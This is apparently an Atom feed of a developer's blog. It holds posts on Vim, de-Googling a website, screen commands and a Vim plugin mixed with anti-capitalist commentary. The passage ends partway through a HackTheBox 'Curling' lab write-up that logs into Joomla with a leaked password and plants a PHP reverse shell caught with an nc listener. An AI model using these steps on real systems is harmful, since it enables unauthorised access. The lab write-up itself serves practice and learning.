remember what the lecturer was telling you? No? That's fine, I'll give you an
excerpt from my textbook.</p>
<p><em>"Knowledge of a language enables you to combine sounds to form words, words to
from phrases, and phrases to form sentences. You cannot buy a dictionary or
phrase book of any language with all the sentences of the language … because
the number of sentences in language is infinite. Knowing a language means
being able to produce and understand new sentences never spoken before. This
is the <strong>creative aspect</strong> of language."</em><a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>Remember now? The <strong>creative aspect</strong> of human language is one the most
important factors that distinguish our language from animal "language" (the
other factor being displacement, but let's not get into that now). While
most animals have some form of communication, none (as far as we know) possess
this creative aspect.</p>
<p>Let's look at birds as an example. Birds communicate through bird songs and
annoying screeching at 5 am, but there is no evidence of any internal messages
to these songs; they cannot be segmented into discrete meaningful parts and
rearranged to encode different messages as can the words, phrases, and
sentences of human language.</p>
<p>I hope you can see where I'm going with this. But if you don't know any Vim or
are just plain dumb, I'll spell it out for you:</p>
<pre class="prettyprint linenums"><code>Vim == Human language
Every other text editor/IDE == Annoying bird language
</code></pre>
<p>Here's an example from the article I mentioned above.</p>
<p><em>"Commands in vi/vim are meant to be combined - 'd' means delete, 'e' means
'move to end of word', then 'de' is a complete command that deletes to the end
of the current word (something like Ctrl-Shift-Right, Left, Del in most
regular editors)."</em><a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
<p>This is the power of Vim. The ability to mix commands as if they were the
words to a sentences of a language. It's helped even further by how many of
these keys can be remembered by mnemonics. You've seen <code class="prettyprint">d</code> for delete and <code class="prettyprint">e</code>
for end, but there's also <code class="prettyprint">w</code> for word, so you can do <code class="prettyprint">daw</code> for delete a word.
Instead of <code class="prettyprint">d</code> you can use <code class="prettyprint">y</code> for yank (copy) where <code class="prettyprint">ye</code> yanks from the
cursor to the end of a word and <code class="prettyprint">yaw</code> yanks the word under the cursor.</p>
<p>In contrast, look at this keyboard shortcut cheat sheet for VS Code:</p>
<p><img src="/img/vscode-keys.png" alt="image-alternative" /></p>
<p>This is all there is. The entire dictionary of VS Code. Every sentence that
could possibly said is right here (unless you install some more plugins, like
a Vim emulator per se… but more on that later).</p>
<p>Now that that's all been said, I hope you'll think what I'm going to say
next to be pretty reasonable.</p>
<blockquote>
  <p>The reason I use Vim is because it feels like an extension of myself.</p>
</blockquote>
<p>If you're a manual transmission elitist (which I also am), you'll probably
understand. Driving an automatic feels wrong, like you're not actually in
control of the car. Sure it's probably a lot easier, your legs won't die
whenever you hit heavy traffic, and there's much less to think about. But it
<em>feels</em> wrong.</p>
<p>To beat this metaphor a bit more, using a Vim emulator feels like driving a
car with a crappy manual transmission. I can <em>feel</em> that this stick shift isn't
directly connected to the gearbox, it's soft and mushy, just like how using
the Vim plugin for VS Code feels bloated because… well, because it is
bloated.</p>
<p>It may be that my MacBook is too slow for a goddamn text editor, but every
attempt I've had to use VS Code always ends up with me quitting after a day.
Setting up VS Code with a Vim emulator seems like a win-win, does it not? You
get that beautiful Vim language of commands with all the features of a
semi-IDE!</p>
<p>But no, that 2 second start time <em>feels</em> like a week when compared to the near
instant Vim. My workflow is constantly interrupted with the fact that I still
actually can't use Vim's language to do basic things like change my
preferences or use the file manager, and have to either resort to:</p>
<ol>
<li>Using the mouse or</li>
<li>Learning the garbage dictionary of hotkeys I showed before.</li>
</ol>
<p>It's not just VS Code, I actually prefer it to many other IDEs because it's
not really an IDE, and thus, not as bloated as other IDEs. The Vim emulation
is slow and a bit clunky, yes, but at least it exists. I only give it so much
clout because it's the other editor I use on a somewhat regular basis.</p>
<p>No editor/IDE has managed to drag me away from Vim, I don't think there's any
feature of an IDE that I couldn't implement in Vim, although SwiftUI with Xcode
is looking to be particularly juicy - if something like that was developed for
the web it might do it. But even with that, Vim would still remain king in my
favourite programming domain: systems programming, where there ain't no UI.</p>
<p>So that's it then. If you've never tried Vim I seriously recommend giving it
a go. The learning curve is steep I know, but if you can remember a few
commands a day, you'll be stringing complicated sentences in no time.</p>
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: Fromkin, Rodman, and Hyams 2013 An Introduction to Language, 10th edn, International Edition, Cengage Learning Inc, Florence, United States</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: Beltran de Heredia, J 2007, Why, oh WHY, do those #?@! nutheads use vi?</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Vim EVERYWHERE]]></title>
        <id>https://justin.duch.me/post/vim_everywhere</id>
        <link href="https://justin.duch.me/post/vim_everywhere"/>
        <updated>2019-07-12T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>For the past week I've been trying make everything in my laptop work with
Vim key-bindings. So far I've gotten around 40% of what I use the most to work
with Vim key-bindings and today we'll go through each of them.</p>
<h3 id="terminal">Terminal</h3>
<p>This is obviously the easiest so lets start here. Oh my Zsh has a <a href="https://pqrs.org/osx/karabiner/complex_modifications/#vi_mode">vi-mode</a>
plugin that makes using the shell much easier. You can go into normal mode
by pressing <code class="prettyprint">ESC</code> and from there you can use all the normal Vim keys to navigate.</p>
<p>For editing text, you can use Vim to get Vim bindings, shocking right?</p>
<p>For everything else, most TUIs like Weechat either have Vim bindings built in, or
have plugins for them.</p>
<h3 id="finder">Finder</h3>
<p>Finder has no options to change key-bindings, so you can just replace it
entirely with <a href="https://github.com/ranger/ranger">ranger</a> which is a terminal file manger with Vim bindings.
You're going to see me replace many GUI applications for TUI applications so
get used to it.</p>
<h3 id="applemail">Apple Mail</h3>
<p>Here's another one that we replace with a TUI. There are many good mail
clients for the terminal, but one of my favourites is <a href="https://git.sr.ht/~sircmpwn/aerc">aerc</a> which as Vim
bindings build it. Unfortunately, I haven't managed to get Protonmail Bridge
to work with it, so I still need to use Apple Mail ;(</p>
<p><strong><em>Disclaimer:</em></strong> I'm a Patreon supporter for the aerc's author (Drew
DeVault).</p>
<h3 id="itunes">iTunes</h3>
<p>There's a few options with this one. You can either use <a href="https://github.com/ryanflannery/vitunes">ViTunes</a> which is a
TUI, or you can use something like <a href="https://github.com/ktr0731/itunes-cli">itunes-cli</a> which allows you to control
iTunes from the terminal. Personally, I use itunes-cli because I find it
easier.</p>
<h3 id="firefox">Firefox</h3>
<p>There are quite a few Vim interfaces for Firefox, but the best (in my opinion)
is <a href="https://github.com/tridactyl/tridactyl">tridactyl</a>. It's incredibly powerful and comes with the ability to edit
it's configuration in a <code class="prettyprint">tridactlyrc</code> (just like Vim!). You can peek at <a href="https://github.com/beanpuppy/dotfiles/blob/98e180785a8d0d12c746e7af5592925e35ef5a14/tridactyl/tridactylrc">my tridactylrc</a>
for a look at some of the options.</p>
<h3 id="everythingelse">Everything Else</h3>
<p>There's an application called <a href="https://github.com/cknadler/vim-anywhere">vim-anywhere</a> which opens up a vim buffer
whenever invoked. However, I find this a bit too cumbersome to use. Instead I
use <a href="https://github.com/tekezo/Karabiner-Elements">Karabiner-Elements</a> which is a low level macOS kernel extension that
gives you a virtual keyboard you can heavily customize to your own liking.</p>
<p>Karabiner comes with a <a href="https://pqrs.org/osx/karabiner/complex_modifications/#vi_mode">vi-mode</a> modification. Once you've added and enabled
it, you can "trigger" vi-mode by pressing simultaneously either the key <code class="prettyprint">D</code> or <code class="prettyprint">S</code> and then <code class="prettyprint">h/j/k/l</code> or <code class="prettyprint">b/w</code> to move around text. You have to keep your
trigger key pressed while moving around. Same goes for visual mode but with <code class="prettyprint">V</code> as the trigger key. Don't forget to set the simultaneous threshold to
something between 200-300 for this to work better.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Goodbye Google]]></title>
        <id>https://justin.duch.me/post/goodbye_google</id>
        <link href="https://justin.duch.me/post/goodbye_google"/>
        <updated>2019-06-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Today I've removed every single trace (I think) of Google from this website
because… I shouldn't need to explain this right? I'm sure you know the
reason.</p>
<p>It wasn't that hard, there were only four things I was using, and in
some cases there was an improvement in functionality when switching to a
different provider. Lets go through all four of them now:</p>
<h3 id="googleanalytics">Google Analytics</h3>
<p>This one is simple, I removed this script tag from the page layout.</p>
<pre class="prettyprint linenums"><code class="html language-html"><span class="hljs-comment">&lt;!-- Global site tag (gtag.js) - Google Analytics --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">async</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;https://www.googletagmanager.com/gtag/js?id=UA-114590042-1&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript">
    <span class="hljs-variable language_">window</span>.<span class="hljs-property">dataLayer</span> = <span class="hljs-variable language_">window</span>.<span class="hljs-property">dataLayer</span> || [];
    <span class="hljs-keyword">function</span> <span class="hljs-title function_">gtag</span>(<span class="hljs-params"></span>){dataLayer.<span class="hljs-title function_">push</span>(<span class="hljs-variable language_">arguments</span>);}
    <span class="hljs-title function_">gtag</span>(<span class="hljs-string">&#x27;js&#x27;</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Date</span>());
    <span class="hljs-title function_">gtag</span>(<span class="hljs-string">&#x27;config&#x27;</span>, <span class="hljs-string">&#x27;UA-114590042-1&#x27;</span>);
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>This hasn't been replaced though because I don't really care about how many
people visit this site anymore.</p>
<h3 id="googlefonts">Google Fonts</h3>
<p>Previously I was serving fonts from <code class="prettyprint">fonts.googleapis.com</code> because I wasn't
bothered to download them and serve them myself.</p>
<pre class="prettyprint linenums"><code class="html language-html"><span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">&quot;stylesheet&quot;</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;https://fonts.googleapis.com/css?family=Herr+Von+Muellerhoff&quot;</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">&quot;stylesheet&quot;</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;https://fonts.googleapis.com/css?family=Lato:300i,300,400i,700,700i&quot;</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">&quot;stylesheet&quot;</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;https://fonts.googleapis.com/css?family=Libre+Baskerville:400i,700&quot;</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">&quot;stylesheet&quot;</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;https://fonts.googleapis.com/css?family=Lora&quot;</span>&gt;</span>
</code></pre>
<p>I've also taken this time to remove <code class="prettyprint">Lora</code> from my fonts (because you
shouldn't use more than 3 fonts styling wise) and clean up some css, so the
site should be <strong>slighlty</strong> faster now.</p>
<h3 id="gsuite">GSuite</h3>
<p>I don't even know why I chose to use Google for delivering emails but it
doesn't matter now anyway. I've switched to Sendmail, and while I don't really
like Twilo (Sendmail's parent company) either, there's a few advantages to
this:</p>
<ul>
<li><p>I can use my propery domain; Where previously I would send emails from <code class="prettyprint">noreply@noreply.justinduch.com</code> because Google requires domain verification
and my MX records for <code class="prettyprint">justinduch.com</code> point to Protonmail, meaning I needed
to use a different subdomain. Now I can use <code class="prettyprint">noreply@justinduch.com</code> because
Sendmail doesn't required domain verification.</p></li>
<li><p>It's free for the first 100 emails a day, so as long as I don't get over 100
subscribers, I won't need to pay.</p></li>
<li><p>Not Google.</p></li>
</ul>
<p>Also GSuite seems to have a few <a href="https://reddit.com/r/sysadmin/comments/c2lane/g_suite_repeated_outages/">issues</a>.</p>
<p>The only other option I could see was managing a SMTP server myself and that
seems like a pain in the ass.</p>
<h3 id="webpimages">WebP Images</h3>
<p>This one probably doesn't matter as much, but for the past week I've been
tampering with different image types to see if it would speed up the load
times. Moving to WebP didn't actually do all that much and it cost me Safari
support, so I've just moved back to pngs.</p>
<p><strong>Update 12/06/2019:</strong> I forgot that the search bar uses Google (and the fact
that there even was a search bar) so I've switched it to use DuckDuckGo.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A Reference Of Linux Screen Commands Because I Keep Forgetting Them]]></title>
        <id>https://justin.duch.me/post/screen_reference</id>
        <link href="https://justin.duch.me/post/screen_reference"/>
        <updated>2019-06-12T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>In Linux <code class="prettyprint">screen</code> is a command that allows you to:</p>
<ul>
<li>Use multiple shell windows from a single SSH session.</li>
<li>Keep a shell active even through network disruptions.</li>
<li>Disconnect and re-connect to a shell sessions from multiple locations.</li>
<li>Run a long running process without maintaining an active shell session.</li>
</ul>
<h3 id="startinglinuxscreen">Starting Linux Screen</h3>
<p>Screen is started from the command line just like any other command:</p>
<pre class="prettyprint linenums"><code>[root@okcomputer ~]# screen
</code></pre>
<p>You are now inside of a window within screen. This functions just like a
normal shell except for a few special characters.</p>
<p>Screen uses the command <code class="prettyprint">Ctrl-a”</code> as a signal to send commands to screen
instead of the shell.</p>
<p>For example, <code class="prettyprint">Ctrl-a ?</code> gives you the key bindings page.</p>
<h3 id="detachingfromscreen">Detaching From Screen</h3>
<p>You can detach from the window using <code class="prettyprint">Ctrl-a d</code>.</p>
<h3 id="reattachtoscreen">Reattach to Screen</h3>
<p>If your connection drops or you have detached from a screen, you can re-attach
by just running:</p>
<pre class="prettyprint linenums"><code>[root@okcomputer ~]# screen -r
</code></pre>
<h3 id="stoppingscreen">Stopping Screen</h3>
<p>To stop the screen session, enter <code class="prettyprint">exit</code> into the shell or use <code class="prettyprint">Ctrl-a k</code>.</p>
<h3 id="othercommands">Other Commands</h3>
<p>To run a single command in screen and detach:</p>
<pre class="prettyprint linenums"><code>[root@okcomputer ~]# screen -dm ./myscript.sh
</code></pre>
<p>To run multiple commands:</p>
<pre class="prettyprint linenums"><code>[root@okcomputer ~]# screen -dm bash -c "sleep 10; myscript.sh"
</code></pre>
<p>To list all sessions:</p>
<pre class="prettyprint linenums"><code>[root@okcomputer ~]# screen -list
</code></pre>
<p>Please note that when a program terminates, screen (per default) kills the
window that contained it.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Writing A Linked List In JavaScript]]></title>
        <id>https://justin.duch.me/post/linked_list_js</id>
        <link href="https://justin.duch.me/post/linked_list_js"/>
        <updated>2019-05-30T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>What up idiots, today we're making a linked list in JavaScript. Why you may
ask? The answer to that question is too personal for the internet, so I'll
just say that I don't like to be proven wrong. If you don't know what a linked
list is, you'll probably figure it out as you read along.</p>
<p>Also since I've given up on trying to get Pygments to syntax highlight the
code in my pre tags, I'm now going to be using <a href="https://carbon.now.sh">carbon.now.sh</a> to show you
the code as pretty pictures.</p>
<p>Because I'm lazy, this is only going to be a singly-linked list, but it still
better than nothing and enough to prove my point. Let's start at the start.</p>
<p><img src="/img/linked-list1.png" alt="linkedlist" /></p>
<p>This is the start. Self-explanatory.</p>
<p><img src="/img/linked-list2.png" alt="linkedlist" /></p>
<p>Look at those <code class="prettyprint">push</code> and <code class="prettyprint">pop</code> methods! I even added comments so your stupid
monkey brain can understand it. This is already technically a linked list, but
while I'm here educating your dumb ass, let's go even <strong><em>FURTHER</em></strong>.</p>
<p><img src="/img/linked-list3.png" alt="linkedlist" /></p>
<p>Now there's a <code class="prettyprint">tail</code> attribute and we can <code class="prettyprint">append</code> and <code class="prettyprint">popBack</code> the tail!
What!? <em>HOW FAR WILL THIS MAN GO!?</em></p>
<p><img src="/img/linked-list4.png" alt="linkedlist" /></p>
<p>Look I even added tests!! <em>are you haPPY NOW?!!! **HUH <code class="prettyprint">&lt;Name Redacted&gt;</code>, ARE YOU
HAPPY!!?</em> LOOK AT WHAT YOU'VE DONE. THIS IS YOUR FAULT. YOU MADE ME DO THIS.**
NOW DON'T YOU EVER DARE TO COME INTO MY HOUSE AND CHALLENGE ME AGAIN.</p>
<p><strong>P.S.</strong> Give back my dolphin plushie to me or I will burn down your house.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Let's Learn About Vim Script And The Ethics Of Capitalism]]></title>
        <id>https://justin.duch.me/post/learn_vim_script</id>
        <link href="https://justin.duch.me/post/learn_vim_script"/>
        <updated>2019-05-12T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Welcome to this very informative guide on Vim Script from someone who has not
read any of Vim's documentation and has only managed to cobble a small, shitty
plugin together by looking at other people's code and taking things he doesn't
really understand.</p>
<p>But before all that, let's address something real quick.</p>
<blockquote>
  <p>There is no ethical consumption under capitalism.</p>
</blockquote>
<p>Also happy mother's day to all those mums!</p>
<p>We'll be looking at the aforementioned plugin I made:
<a href="https://github.com/beanpuppy/vimroot">vim-root</a>, which was designed and
created over ~2 hours while at an airport. This plugin attempts to <code class="prettyprint">cd</code> into
the directory of the current buffer whenever it changes. For example if you
are in a file under the path <code class="prettyprint">/dev/the_free_market_does_not_exist/</code> and change
buffer into a filer under <code class="prettyprint">/dev/bourgeoisie_taste_like_chicken/</code> the plugin
would <code class="prettyprint">cd</code> into the new directory, because Vim doesn't already do that for
some reason.</p>
<p>Now when I say <em>'I didn't read any documentation and don't understand Vim
Script'</em>, I genuinely mean it, but it's better to show than tell right? So
here we go. No seriously, if you came here to actually learn about Vim
Script just close the tab now. If you want to see me call capitalism mean
names while also talking about Vim Script then read on!</p>
<p>Vim plugins are divided into two directory (I think, I haven't seen a plugin
that isn't) <code class="prettyprint">autoload</code> and <code class="prettyprint">plugin</code>. The <code class="prettyprint">plugin</code> directory (I THINK) is where all the
keybinds and config goes while the <code class="prettyprint">autoload</code> directory folder (I THINK) is where the
actual plugin is.</p>
<p>The goal of capitalism (making a profit) means that workers will never
be paid for the value of work they produce. They will always be underpaid
in order for the business to be profitable. The exploitation of surplus value
is an inherent characteristic of capitalism.</p>
<p>The <code class="prettyprint">plugin</code> directory is uninteresting and self explanatory, so we will skip
it. My <code class="prettyprint">autoload</code> directory has one file <code class="prettyprint">vimroot.vim</code> which we will go
through now.</p>
<pre class="prettyprint linenums"><code>if &cp || exists('autoloaded_vimroot')
  finish
endif
let autoloaded_vimroot = 1

" Options {{{1
if !exists('g:vimroot_enable')
  let g:vimroot_enable = 1
endif

function! vimroot#root()
  " lcd to current path of file
  let path = expand('%:p:h')
  silent! execute 'lcd' path
  " lcd to git repo root
  let root = systemlist('git rev-parse --show-toplevel')[0]
  if !v:shell_error
    execute 'lcd' root
  endif
endfunction

function! vimroot#init()
  if g:vimroot_enable == 1
    call vimroot#enable()
  else
    call vimroot#disable()
  endif
endfunction

function! vimroot#enable()
  let g:ToggleVimRoot = function('vimroot#disable')
  call vimroot#root()
  augroup vimroot | autocmd Filetype,BufEnter * :call vimroot#root()
endfunction

function! vimroot#disable()
  let g:ToggleVimRoot = function('vimroot#enable')
  augroup vimroot | autocmd!
endfunction
</code></pre>
<p>It starts with a check to see if the plugin is already loaded (I don't know
what <code class="prettyprint">&amp;cp</code> is doing). Then we test if the global variable <code class="prettyprint">vimroot_enable</code>
exists (set from the <code class="prettyprint">rc</code> file) otherwise we give it a default of <code class="prettyprint">1</code>.</p>
<p>The notion that <em>'anyone can pull themselves up by their bootstraps and become
successful if they work hard enough'</em> is stupid and absurd as it ignores the very
real and prevalent social issues surrounding us. Many people are unemployed because
of things such as: disabilities, racism, sexism, and so on. And let's not forget
this very basic fact: <em>'it is impossible for everyone to be successful'</em>,
there must be poor people for rich people to exist.</p>
<p>The first function <code class="prettyprint">root()</code> is the real meat of the plugin. It first gets the
path of the file with <code class="prettyprint">expand('%:p:h')</code> and attempts to <code class="prettyprint">lcd</code> into it. Now you
may ask <em>'what's the difference between <code class="prettyprint">lcd</code> and <code class="prettyprint">cd</code>?'</em> I don't know. The <code class="prettyprint">silent!</code> keyword at the start means it won't raise an error if it fails.</p>
<p>Climate change and environmental destruction are the results of private
industry, megacorp and family owned alike, dumping costs on the environment
because there isn’t a price tag associated with clean water, clean air, and a
healthy biosphere. Corporations have a legal financial responsibility to its
shareholders to attempt to make profits, so even if a firm can justify going
green to the SEC and it’s shareholders, if it does not cut costs by
sacrificing the environment they will be outcompeted by those that do and
their asses will be run out of business. That’s the whole idea of a free
market. It incentivises a race to the bottom within the system itself.</p>
<p>Now we try to use git to get the project root and then <code class="prettyprint">lcd</code> into that. If
there isn't a <code class="prettyprint">.git</code> directory then it doesn't work and we stay in the
directory we initially <code class="prettyprint">lcd</code>ed into.</p>
<p>Let's skip the init because it's boring and talk about <code class="prettyprint">enable()</code>. First we
turn the toggle function into the disable function and the call <code class="prettyprint">root()</code>. Also
we set up an <code class="prettyprint">augroup</code> to call <code class="prettyprint">root()</code> whenever the buffer is changed.</p>
<p>In the US, the most developed Capitalist country, the richest country in the history of the world:</p>
<ul>
<li><a href="https://www.usatoday.com/story/news/nation/2014/08/17/hunger-study-food/14195585/">1 out of every 7 US citizens needs to visit food banks to
survive</a>,
despite having enough food to feed <a href="https://www.oxfam.ca/there-enough-food-feed-world">10 billion
people.</a> Half of all food
produced is <a href="https://www.theguardian.com/environment/2016/jul/13/us-food-waste-ugly-fruit-vegetables-perfect">thrown away by
retailers.</a>
<a href="https://reliefweb.int/report/world/food-waste-enough-feed-world-s-hungry-four-times-over">Food waste in 2018 enough to feed world's hungry 4 times
over.</a></li>
<li><a href="http://www.huffingtonpost.com/richard-skip-bronson/post_733_b_692546.html">Empty homes outnumber the homeless by 6 to
1</a>.
Bank foreclosures and housing speculators have left 18.9 million empty homes.
<a href="https://www.newsweek.com/child-homelessness-us-reaches-historic-high-report-says-285052">2.5 million <strong>homeless children</strong>, or ~1 /
30</a>.
In the UK, <a href="http://www.mirror.co.uk/news/ampp3d/housing-crisis-10-empty-homes-5008151">there are 10x more empty houses than homeless
families</a>.</li>
<li><a href="http://www.unicef.org/sowc06/pdfs/sowc06_chap1.pdf">UNICEF</a>,
<a href="https://web.archive.org/web/20080527011602/http://www.results.org/website/article.asp?id=241">RESULTS</a>,
and <a href="http://www.bread.org/hunger/global/facts.html">Bread for the World</a>
estimate that <strong>15 million</strong> people die <strong>each year</strong> from preventable
poverty, of whom 11 million are <strong>children under the age of five</strong>.
<a href="http://www.washingtonsblog.com/2015/08/crimes-against-humanity-01-poverty-murder-over-400-million-people-since-1995-more-than-all-wars-in-recorded-history.html">[2]</a>.</li>
<li>In the US alone, <a href="http://obamacarefacts.com/facts-on-deaths-due-to-lack-of-health-insurance-in-us/">20-40k deaths every
year</a>
because of lack of health insurance / care. On average, that's 300k over the last decade.</li>
<li><a href="https://www.usatoday.com/story/money/personalfinance/2017/11/18/a-foolish-take-heres-how-much-debt-the-average-us-household-owes/107651700/">Average US household carries ~$140k in debt. Median household income only
\$60k</a>,
<a href="http://theeconomiccollapseblog.com/archives/goodbye-american-dream-the-average-u-s-household-is-137063-in-debt-and-38-4-of-millennials-live-with-their-parentsi">40% of millenials live with their
parents.</a></li>
<li><a href="https://www.inc.com/melanie-curtin/meet-the-8-men-who-control-half-the-worlds-wealth.html">8 men control as much wealth as half the worlds
population.</a>
Anyone wanna take a guess at how this game of monopoly ends?</li>
<li><a href="https://www.newsweek.com/billionaires-money-end-poverty-report-786675">Billionaires made enough money in 2017 to end poverty 7 times
over.</a></li>
<li><a href="https://www.theguardian.com/commentisfree/2018/jul/29/us-economy-workers-paycheck-robert-reich">80% of US workers live paycheck to
paycheck</a>,
40% cannot cover a <a href="http://theeconomiccollapseblog.com/archives/federal-reserve-more-than-4-out-of-10-americans-do-not-even-have-enough-money-to-cover-an-unexpected-400-expenae">$400
emergency.</a></li>
<li><a href="https://www.businessinsider.com/china-boasts-that-its-healthy-life-expectancy-beats-the-us-is-correct-2018-5">US Life expectancy peaked in 2015, is on the decline, and is now lower than
in
China.</a></li>
<li>Suicide rates have leaped more than <a href="https://politsturm.com/american-suicide-rate-up-33/">33% in the last 20
years.</a>
<a href="https://www.cnn.com/2018/06/07/health/suicide-report-cdc/index.html">[2]</a>,
<a href="https://www.washingtonpost.com/news/to-your-health/wp/2018/06/07/u-s-suicide-rates-rise-sharply-across-the-country-new-report-shows/?utm_term=.18c1060e6b2f">[3]</a></li>
<li><a href="https://www.statista.com/statistics/262962/countries-with-the-most-prisoners-per-100-000-inhabitants/">Most prisoners per capita AND by
total</a>.
Makes sense, since prison is Capitalism's boarding house. <a href="https://en.wikipedia.org/wiki/Prison_farm#In_the_United_States_.28partial_list.29">Runs least 54
agricultural slave labor
camps.</a></li>
</ul>
<p>That's about it. Like I said before, I don't really know Vim Script, so this
plugin could probably be a whole lot better.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Curling (ft. Anger)]]></title>
        <id>https://justin.duch.me/post/htb_curling</id>
        <link href="https://justin.duch.me/post/htb_curling"/>
        <updated>2019-04-01T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Continuing from <a href="/post/htb_hawk">last time</a> where I just post my notes,
today is <code class="prettyprint">Curling</code>. Also note that today is the first of April, and my April
fools joke is that this is not an April fools joke… or is it? I jest of
course, these notes are already enough of a joke.</p>
<hr />
<h3 id="nmapscan">Nmap Scan</h3>
<pre class="prettyprint linenums"><code>Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-05 09:58 AEDT
Nmap scan report for 10.10.10.150
Host is up (0.49s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.14 seconds
</code></pre>
<h3 id="joomlasite">Joomla! Site</h3>
<p> <code class="prettyprint">http://10.10.10.150</code></p>
<ul>
<li>Has upload button at bottom of all pages</li>
<li> <code class="prettyprint">http://10.10.10.150/administrator/manifests/files/joomla.xml</code> shows version is <code class="prettyprint">3.8.8</code>. Released May 22 2018</li>
<li>Page <code class="prettyprint">/secret.txt</code> displays <code class="prettyprint">Q3VybGluZzIwMTgh</code>. Tried this as password on <code class="prettyprint">/administrator</code> with user <code class="prettyprint">admin</code> but nope.<ul>
<li>It’s actually base64. Decodes into <code class="prettyprint">Curling2018!</code>. Still doesn’t work with <code class="prettyprint">admin</code></li>
<li>Found username <code class="prettyprint">Floris</code> in one of the articles. Worked with <code class="prettyprint">Curling2018!</code></li></ul></li>
<li>Looked at <a href="http://www.thehackerstore.net/2015/01/how-to-upload-shell-in-joomla-via-admin.html">this</a>
to upload a PHP shell from <a href="https://github.com/pentestmonkey/php-reverse-shell">this</a><ul>
<li>Created new file in templates <code class="prettyprint">hello.php</code> and put shellcode there</li>
<li>Run <code class="prettyprint">nc -lvpn &lt;port_number&gt;</code></li>
<li>Go to <code class="prettyprint">10.10.10.150/templates/beez3/hello.php</code></li>
<li>Got shell as user <code class="prettyprint">www-data</code></li></ul></li>
</ul>
<h3 id="phpreverseshell">PHP Reverse Shell</h3>
<ul>
<li>Can’t get <code class="prettyprint">user.txt</code> because we don’t have permissions for <code class="prettyprint">~/floris</code> but we
can view another file <code class="prettyprint">password_backup</code><a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>. It’s a hexdump for something…</li>
<li>This <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">list of file
signatures</a> tells us the file is a <code class="prettyprint">bz2</code> file because it has the signature <code class="prettyprint">42 5A 68</code> at the start</li>
<li>Went to <code class="prettyprint">/var/www/html/bin</code> because the user has write permissions there</li>
<li>Copied <code class="prettyprint">/home/floris/password_backup</code></li>
<li>Reversed the hexdump back to a <code class="prettyprint">bz2</code> file with <code class="prettyprint">xxd -r password_backup password_backup.bz2</code></li>
<li>Decompressed the file <code class="prettyprint">bzip2 -d password_backup.bz2</code></li>
<li>Contains the string</li>
</ul>
<pre class="prettyprint linenums"><code>l[passwordrBZh91AY&SY6@@Pt t"dhhOPIS@68ET>P@#I |3x(*N&Hk1x"{]B@6m
</code></pre>
<p>What is this</p>
<ul>
<li><p>Did a <code class="prettyprint">file</code> on it <code class="prettyprint">password_backup: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix</code>
Oh it’s zipped again</p></li>
